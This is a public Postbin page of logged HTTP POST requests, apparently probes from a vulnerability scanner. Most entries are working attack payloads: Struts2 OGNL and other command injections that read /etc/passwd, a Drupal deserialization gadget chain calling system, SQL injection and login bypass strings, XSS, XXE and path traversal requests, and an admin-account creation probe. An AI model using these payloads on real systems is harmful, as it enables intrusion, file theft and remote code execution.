Postbin #8bd91770

URL:


HTTP Post requests are displayed here, newest to oldest. When sharing with support, please refer to the permalink within your request.

Permalink: 8bd91770#9xbs - 06/22/2021 @ 11:28 PM UTC
Parameter Value
message
Bin exceeded maximum posts. Create a new bin.

Permalink: 8bd91770#9xba - 06/22/2021 @ 11:28 PM UTC
Parameter Value
name
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
endpoint
user.action

Permalink: 8bd91770#9xay - 06/22/2021 @ 11:27 PM UTC
Parameter Value
_format
hal_json
{ "link":
{" { \"value\": \"link\", \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:2:\\\"id\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\" } "=>{", \"_links\": { \"type\": { \"href\": \"http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default\" } } }"=>nil}}
endpoint
node/1

Permalink: 8bd91770#9wu2 - 06/22/2021 @ 11:16 PM UTC
Parameter Value
sid
254
pe
1,2,3,4,5
appname
</title><script>alert(31337)</script>
au
1
username
nsroot
endpoint
menu/stapp

Permalink: 8bd91770#9wr1 - 06/22/2021 @ 11:15 PM UTC
Parameter Value
sheet
[
  ".es(*)"
]
time
{
  "from": "now-1m",
  "to": "now",
  "mode": "quick",
  "interval": "auto",
  "timezone": "Asia/Shanghai"
}

Permalink: 8bd91770#9wjm - 06/22/2021 @ 11:11 PM UTC
Parameter Value
SERVICES
DEVICE.ACCOUNT AUTHORIZED_GROUP=1
endpoint
getcfg.php

Permalink: 8bd91770#9wfz - 06/22/2021 @ 11:09 PM UTC
Parameter Value
username
"testpoc"
has_admin_role
true
password
"TestPoc!"
email
"testpoc@example.com"
realname
"poc"

Permalink: 8bd91770#9wfp - 06/22/2021 @ 11:09 PM UTC
Parameter Value
query
"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}"
variables
{
  "d": {
    "start": "2021-11-11",
    "end": "2021-11-12",
    "step": "DAY"
  }
}

Permalink: 8bd91770#9wdv - 06/22/2021 @ 11:08 PM UTC
Parameter Value
endpoint
Autodiscover/Autodiscover.xml

Permalink: 8bd91770#9wcs - 06/22/2021 @ 11:07 PM UTC
Parameter Value
endpoint
getcfg.php

Permalink: 8bd91770#9wcq - 06/22/2021 @ 11:07 PM UTC
Parameter Value
endpoint
xmlpserver/ReportTemplateService.xls

Permalink: 8bd91770#9wbs - 06/22/2021 @ 11:05 PM UTC
Parameter Value
<!DOCTYPE root PUBLIC "-//B/A/EN" "http://example.com">
endpoint
OA_HTML/lcmServiceController.jsp

Permalink: 8bd91770#9wb7 - 06/22/2021 @ 11:03 PM UTC
Parameter Value
token
{
  "$func": "var_dump"
}

Permalink: 8bd91770#9vyw - 06/18/2021 @ 02:56 PM UTC
Parameter Value
username
dw1' or 1=1 #
password
dw1' or 1=1 #
login
endpoint
zms/admin/index.php

Permalink: 8bd91770#9vrt - 06/18/2021 @ 03:07 AM UTC
Parameter Value
q
moni_detail.do
action
gragh
type
'|cat /etc/passwd||'
endpoint
webadm/

Permalink: 8bd91770#9vn7 - 06/18/2021 @ 02:59 AM UTC
Parameter Value
error
ActiveRecord::PendingMigrationError
action
Run pending migrations
location
javascript:alert(1)// aaaaa
endpoint
rails/actions

Permalink: 8bd91770#9vkw - 06/18/2021 @ 02:56 AM UTC
Parameter Value
email
"invalid"
signUpContext
{
}
secondaryEmail
""
usingNewUi
true

Permalink: 8bd91770#9vi7 - 06/18/2021 @ 02:52 AM UTC
Parameter Value
token
eyJtZDUiOnRydWV9
{"params":"w
123\"'1234123'\"|cat /etc/passwd"}
endpoint
api/edr/sangforinter/v2/cssp/slog_client

Permalink: 8bd91770#9vex - 06/18/2021 @ 02:43 AM UTC
Parameter Value
url
/etc/passwd
name
1.txt
local
1
getpwd
WorldFilledWithLove
endpoint
index.php/bbs/index/download

Permalink: 8bd91770#9vbb - 06/18/2021 @ 02:40 AM UTC
Parameter Value
jarfile
nuclei
endpoint
jars/upload

Permalink: 8bd91770#9v0o - 06/18/2021 @ 02:33 AM UTC
Parameter Value
endpoint
hedwig.cgi

or Delete Bin



Data Disclaimer: Data posted to the Mailgun Postbin is public information and can be accessed by anyone on the internet. Please do not post any sensitive information here. If you accidentally expose data, please immediately delete the Postbin. We make no guarantee on the availability of this service and we reserve the right to delete Postbin data at any time. Currently Postbin data is held for 5 days max.